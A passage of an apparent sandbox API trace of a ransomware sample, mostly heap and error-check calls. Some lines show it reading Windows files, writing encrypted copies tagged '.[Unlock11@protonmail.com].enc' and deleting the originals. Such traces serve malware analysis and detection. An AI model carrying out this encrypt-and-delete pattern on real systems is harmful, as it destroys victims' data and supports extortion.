hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.674] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0121.674] GetLastError () returned 0x0 [0121.689] GetLastError () returned 0x0 [0121.689] GetLastError () returned 0x0 [0121.689] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.689] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4718 [0121.689] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0121.689] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0121.690] GetLastError () returned 0x0 [0121.690] GetLastError () returned 0x0 [0121.690] GetLastError () returned 0x0 [0121.690] GetLastError () returned 0x0 [0121.690] GetLastError () returned 0x0 [0121.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.690] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0121.690] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.691] GetLastError () returned 0x0 [0121.691] GetLastError () returned 0x0 [0121.692] GetLastError () returned 0x0 [0121.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.692] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0121.692] GetLastError () returned 0x0 [0121.692] GetLastError () returned 0x0 [0121.692] GetLastError () returned 0x0 [0121.692] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.692] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4728 [0121.693] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0121.693] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0121.693] GetLastError () returned 0x0 [0121.693] GetLastError () returned 0x0 [0121.693] GetLastError () returned 0x0 [0121.693] GetLastError () returned 0x0 [0121.693] GetLastError () returned 0x0 [0121.693] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.694] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812d0 [0121.694] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812d0 | out: hHeap=0x2ad0000) returned 1 [0121.694] GetLastError () returned 0x0 [0121.695] GetLastError () returned 0x0 [0121.695] GetLastError () returned 0x0 [0121.695] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.695] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0121.696] GetLastError () returned 0x0 [0121.697] GetLastError () returned 0x0 [0121.697] GetLastError () returned 0x0 [0121.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4718 [0121.697] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0121.697] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0121.697] GetLastError () returned 0x0 [0121.698] GetLastError () returned 0x0 [0121.698] GetLastError () returned 0x0 [0121.698] GetLastError () returned 0x0 [0121.698] GetLastError () returned 0x0 [0121.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.698] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0121.698] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0121.698] GetLastError () returned 0x0 [0121.699] GetLastError () returned 0x0 [0121.699] GetLastError () returned 0x0 [0121.699] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.699] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0121.699] GetLastError () returned 0x0 [0121.700] GetLastError () returned 0x0 [0121.700] GetLastError () returned 0x0 [0121.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4728 [0121.700] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0121.700] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0121.700] GetLastError () returned 0x0 [0121.701] GetLastError () returned 0x0 [0121.701] GetLastError () returned 0x0 [0121.701] GetLastError () returned 0x0 [0121.701] GetLastError () returned 0x0 [0121.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.701] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.701] GetLastError () returned 0x0 [0121.702] GetLastError () returned 0x0 [0121.702] GetLastError () returned 0x0 [0121.702] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.702] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0121.702] GetLastError () returned 0x0 [0121.704] GetLastError () returned 0x0 [0121.704] GetLastError () returned 0x0 [0121.704] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4718 [0121.704] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0121.704] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0121.705] GetLastError () returned 0x0 [0121.705] GetLastError () returned 0x0 [0121.705] GetLastError () returned 0x0 [0121.705] GetLastError () returned 0x0 [0121.705] GetLastError () returned 0x0 [0121.705] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.705] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881150 [0121.706] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881150 | out: hHeap=0x2ad0000) returned 1 [0121.706] GetLastError () returned 0x0 [0121.706] GetLastError () returned 0x0 [0121.707] GetLastError () returned 0x0 [0121.707] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.707] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0121.707] GetLastError () returned 0x0 [0121.714] GetLastError () returned 0x0 [0121.715] GetLastError () returned 0x0 [0121.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.715] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0121.715] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0121.715] GetLastError () returned 0x0 [0121.715] GetLastError () returned 0x0 [0121.715] GetLastError () returned 0x0 [0121.716] GetLastError () returned 0x0 [0121.716] GetLastError () returned 0x0 [0121.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.716] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0121.716] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38810f0 | out: hHeap=0x2ad0000) returned 1 [0121.716] GetLastError () returned 0x0 [0121.720] GetLastError () returned 0x0 [0121.720] GetLastError () returned 0x0 [0121.720] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.720] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0121.720] GetLastError () returned 0x0 [0121.720] GetLastError () returned 0x0 [0121.721] GetLastError () returned 0x0 [0121.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.721] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0121.721] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0121.722] GetLastError () returned 0x0 [0121.722] GetLastError () returned 0x0 [0121.722] GetLastError () returned 0x0 [0121.722] GetLastError () returned 0x0 [0121.722] GetLastError () returned 0x0 [0121.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.722] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38811e0 [0121.722] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0121.723] GetLastError () returned 0x0 [0121.723] GetLastError () returned 0x0 [0121.724] GetLastError () returned 0x0 [0121.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0121.724] GetLastError () returned 0x0 [0121.724] GetLastError () returned 0x0 [0121.724] GetLastError () returned 0x0 [0121.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.724] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4728 [0121.724] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4718 | out: hHeap=0x2ad0000) returned 1 [0121.724] GetLastError () returned 0x0 [0121.725] GetLastError () returned 0x0 [0121.725] GetLastError () returned 0x0 [0121.725] GetLastError () returned 0x0 [0121.725] GetLastError () returned 0x0 [0121.735] CloseHandle (hObject=0x3ac) returned 1 [0121.736] CloseHandle (hObject=0x39c) returned 1 [0121.736] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mip.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mip.exe")) returned 0 [0121.736] GetLastError () returned 0x5 [0121.736] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll", lpFilePart=0x9bada4*="mraut.dll") returned 0x3c [0121.736] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262e58 [0121.737] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwgst.dll", lpFilePart=0x9bada4*="mshwgst.dll") returned 0x3e [0121.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263088 [0121.737] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mshwLatin.dll", lpFilePart=0x9bada4*="mshwLatin.dll") returned 0x40 [0121.737] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\rtscom.dll", lpFilePart=0x9bada4*="rtscom.dll") returned 0x3d [0121.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262fe0 [0121.737] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe", lpFilePart=0x9bada4*="ShapeCollector.exe") returned 0x45 [0121.737] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0121.738] GetFileAttributesExA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200)) returned 1 [0121.738] GetLastError () returned 0x0 [0121.738] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366a084 | out: pbBuffer=0x366a084) returned 1 [0121.738] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0121.738] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0121.738] GetFileType (hFile=0x39c) returned 0x1 [0121.739] GetFileType (hFile=0x39c) returned 0x1 [0121.739] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.739] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.739] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.739] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.739] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.739] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.739] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.739] GetLastError () returned 0x0 [0121.739] GetCurrentThreadId () returned 0x9b0 [0121.739] GetLastError () returned 0x0 [0121.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0121.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33dbc10 | out: hHeap=0x2ad0000) returned 1 [0121.740] GetLastError () returned 0x0 [0121.740] GetLastError () returned 0x0 [0121.740] GetLastError () returned 0x0 [0121.740] GetLastError () returned 0x0 [0121.740] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.740] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x33de508 [0121.740] GetLastError () returned 0x0 [0121.740] CreateFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3ac [0121.741] GetFileType (hFile=0x3ac) returned 0x1 [0121.741] GetLastError () returned 0x0 [0121.741] GetCurrentThreadId () returned 0x9b0 [0121.741] GetLastError () returned 0x0 [0121.741] GetFileType (hFile=0x3ac) returned 0x1 [0121.741] GetFileInformationByHandle (in: hFile=0x3ac, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0121.741] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.742] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.742] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.742] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.742] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0121.742] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0121.742] GetLastError () returned 0x0 [0121.742] GetCurrentThreadId () returned 0x9b0 [0121.742] GetLastError () returned 0x0 [0121.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0121.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a19818 | out: hHeap=0x2ad0000) returned 1 [0121.743] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881060 [0121.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881060 | out: hHeap=0x2ad0000) returned 1 [0121.743] GetLastError () returned 0x0 [0121.743] GetLastError () returned 0x0 [0121.743] GetCurrentThreadId () returned 0x9b0 [0121.743] GetLastError () returned 0x0 [0121.743] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0121.743] GetLastError () returned 0x0 [0121.743] GetLastError () returned 0x0 [0121.743] GetCurrentThreadId () returned 0x9b0 [0121.744] GetLastError () returned 0x0 [0121.744] GetLastError () returned 0x0 [0121.746] GetLastError () returned 0x0 [0121.746] GetCurrentThreadId () returned 0x9b0 [0121.746] GetLastError () returned 0x0 [0121.746] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0121.746] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0121.747] GetLastError () returned 0x0 [0121.747] GetLastError () returned 0x0 [0121.747] GetLastError () returned 0x0 [0121.747] GetLastError () returned 0x0 [0121.747] GetCurrentThreadId () returned 0x9b0 [0121.747] GetLastError () returned 0x0 [0121.747] GetCurrentThreadId () returned 0x9b0 [0121.747] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x370eb48 [0121.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.748] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881180 [0121.748] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881180 | out: hHeap=0x2ad0000) returned 1 [0121.748] GetLastError () returned 0x0 [0121.750] GetLastError () returned 0x0 [0121.750] GetCurrentThreadId () returned 0x9b0 [0121.750] GetLastError () returned 0x0 [0121.750] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.750] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x37bf790 [0121.750] GetLastError () returned 0x0 [0121.751] GetLastError () returned 0x0 [0121.751] GetCurrentThreadId () returned 0x9b0 [0121.751] GetLastError () returned 0x0 [0121.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4728 [0121.752] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0121.752] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0121.752] GetLastError () returned 0x0 [0121.752] GetLastError () returned 0x0 [0121.753] GetLastError () returned 0x0 [0121.753] GetLastError () returned 0x0 [0121.753] GetCurrentThreadId () returned 0x9b0 [0121.753] GetLastError () returned 0x0 [0121.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36f8548 | out: hHeap=0x2ad0000) returned 1 [0121.753] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38812a0 [0121.753] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38812a0 | out: hHeap=0x2ad0000) returned 1 [0121.753] GetLastError () returned 0x0 [0121.755] GetLastError () returned 0x0 [0121.755] GetCurrentThreadId () returned 0x9b0 [0121.755] GetLastError () returned 0x0 [0121.755] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x370eb48 | out: hHeap=0x2ad0000) returned 1 [0121.755] GetCurrentThreadId () returned 0x9b0 [0121.755] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10015) returned 0x36f8548 [0121.755] GetLastError () returned 0x0 [0121.757] GetLastError () returned 0x0 [0121.757] GetCurrentThreadId () returned 0x9b0 [0121.758] GetLastError () returned 0x0 [0121.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x37bf790 | out: hHeap=0x2ad0000) returned 1 [0121.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x33de508 [0121.758] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ab4728 | out: hHeap=0x2ad0000) returned 1 [0121.758] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0121.758] GetLastError () returned 0x0 [0121.758] GetLastError () returned 0x0 [0121.758] GetLastError () returned 0x0 [0121.759] GetLastError () returned 0x0 [0121.759] GetCurrentThreadId () returned 0x9b0 [0121.760] GetCurrentThreadId () returned 0x9b0 [0121.761] GetCurrentThreadId () returned 0x9b0 [0121.761] GetCurrentThreadId () returned 0x9b0 [0121.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ab4728 [0121.761] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x33de508 | out: hHeap=0x2ad0000) returned 1 [0121.761] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0121.762] GetCurrentThreadId () returned 0x9b0 [0121.763] GetCurrentThreadId () returned 0x9b0 [0121.765] GetCurrentThreadId () returned 0x9b0 [0121.765] GetCurrentThreadId () returned 0x9b0 [0121.765] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0121.765] GetCurrentThreadId () returned 0x9b0 [0121.767] GetCurrentThreadId () returned 0x9b0 [0121.768] GetCurrentThreadId () returned 0x9b0 [0121.768] GetCurrentThreadId () returned 0x9b0 [0121.768] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0121.769] GetCurrentThreadId () returned 0x9b0 [0121.770] GetCurrentThreadId () returned 0x9b0 [0121.770] GetCurrentThreadId () returned 0x9b0 [0121.770] GetCurrentThreadId () returned 0x9b0 [0121.770] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x37bf790 [0121.771] GetCurrentThreadId () returned 0x9b0 [0121.772] GetCurrentThreadId () returned 0x9b0 [0121.773] GetCurrentThreadId () returned 0x9b0 [0121.773] GetCurrentThreadId () returned 0x9b0 [0121.773] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x8, Size=0x10018) returned 0x36f8548 [0121.773] GetCurrentThreadId () returned 0x9b0 [0121.774] GetCurrentThreadId () returned 0x9b0 [0121.775] GetCurrentThreadId () returned 0x9b0 [0121.775] GetCurrentThreadId () returned 0x9b0 [0121.775] GetCurrentThreadId () returned 0x9b0 [0121.777] GetCurrentThreadId () returned 0x9b0 [0121.777] GetCurrentThreadId () returned 0x9b0 [0121.777] GetCurrentThreadId () returned 0x9b0 [0121.778] GetCurrentThreadId () returned 0x9b0 [0121.779] GetCurrentThreadId () returned 0x9b0 [0121.779] GetCurrentThreadId () returned 0x9b0 [0121.779] GetCurrentThreadId () returned 0x9b0 [0121.780] GetCurrentThreadId () returned 0x9b0 [0121.781] GetCurrentThreadId () returned 0x9b0 [0121.781] GetCurrentThreadId () returned 0x9b0 [0121.781] GetCurrentThreadId () returned 0x9b0 [0121.781] GetCurrentThreadId () returned 0x9b0 [0121.781] GetCurrentThreadId () returned 0x9b0 [0121.782] GetCurrentThreadId () returned 0x9b0 [0121.782] CloseHandle (hObject=0x3ac) returned 1 [0121.782] GetCurrentThreadId () returned 0x9b0 [0121.782] CloseHandle (hObject=0x39c) returned 1 [0121.782] GetCurrentThreadId () returned 0x9b0 [0121.782] DeleteFileA (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ShapeCollector.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\shapecollector.exe")) returned 0 [0121.783] GetCurrentThreadId () returned 0x9b0 [0121.783] GetCurrentThreadId () returned 0x9b0 [0121.783] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\TabIpsps.dll", lpFilePart=0x9bada4*="TabIpsps.dll") returned 0x3f [0121.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262ec8 [0121.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262ec8 | out: hHeap=0x2ad0000) returned 1 [0121.783] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0121.783] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0121.783] GetCurrentThreadId () returned 0x9b0 [0121.784] GetFullPathNameA (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll", lpFilePart=0x9bada4*="tabskb.dll") returned 0x3d [0121.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262d78 [0121.784] GetCurrentThreadId () returned 0x9b0 [0121.784] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3262d78 | out: hHeap=0x2ad0000) returned 1 [0121.784] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3262f00 [0121.784] 